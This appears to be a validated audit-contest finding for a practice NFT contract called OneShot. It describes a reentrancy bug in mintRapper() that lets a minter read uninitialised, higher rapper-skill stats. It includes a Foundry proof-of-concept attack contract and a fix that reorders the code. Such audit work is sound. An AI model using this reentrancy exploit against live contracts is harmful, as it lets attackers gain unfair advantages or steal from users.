First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

OneShot.mintRapper(): user can mint rapper NFT with higher rapper skills than default

codehawky

Summary

Reentrancy in OneShot.mintRapper() allows users to mint a rapper NFT without initialization. The initialization is like a debuff to the NFT, therefore skipping it gives user advantage. In other words, users can get rapper NFT with higher skill without staking.

Vulnerability Details

OneShot.mintRapper() does not follow CEI pattern:

function mintRapper() public {
uint256 tokenId = _nextTokenId++;
// @audit-issue reentrancy
_safeMint(msg.sender, tokenId);
​
// Initialize metadata for the minted token
rapperStats[tokenId] =
RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
}

_safeMint() triggers onERC721Received callback before rapperStats[tokenId] gets initialized. Inside the callback, getRapperSkill() will return 65 instead of 50 (the default), so user gains advantage. If user calls goOnStageOrBattle() inside the callback, the odds of winning will be larger.

Impact

User can mint rapper NFT with higher rapper skills than default.

PoC

Add the following test case to OneShotTest.t.sol, also append the attack contract to the end of that file:

function testPoCReentrancys() public {
// user staking for 4 days
vm.startPrank(user);
oneShot.mintRapper(); // _tokenId == 0
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
​
// 4 days later, user go on stage -> becomes defender
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
​
// challenger battle and steal token
vm.startPrank(challenger);
AttackContract attackContract = new AttackContract(address(rapBattle), address(oneShot));
attackContract.pwn();
vm.stopPrank();
}
​
...
​
contract AttackContract {
RapBattle rapBattle;
OneShot oneShot;
​
constructor(address _rapBattle, address _oneShot) {
rapBattle = RapBattle(_rapBattle);
oneShot = OneShot(_oneShot);
}
​
function pwn() public {
oneShot.mintRapper(); // control flow goes into onERC721Received
}
​
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
// This is supposed to be 50, but it is 65 now
require(challengerRapperSkill == 65, "PoC failed");
console.log("challengerRapperSkill: ", challengerRapperSkill);
​
// call goOnStageOrBattle() here
return 0x150b7a02;
}
}

Run test:

forge test --match-test testPoCReentrancys -vv

Tools Used

Manual review

Recommendations

Follow CEI pattern:

function mintRapper() public {
uint256 tokenId = _nextTokenId++;
​
// Initialize metadata for the minted token
rapperStats[tokenId] =
RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
​
_safeMint(msg.sender, tokenId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRapper reentrancy leads to fighting having better chances of winning.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.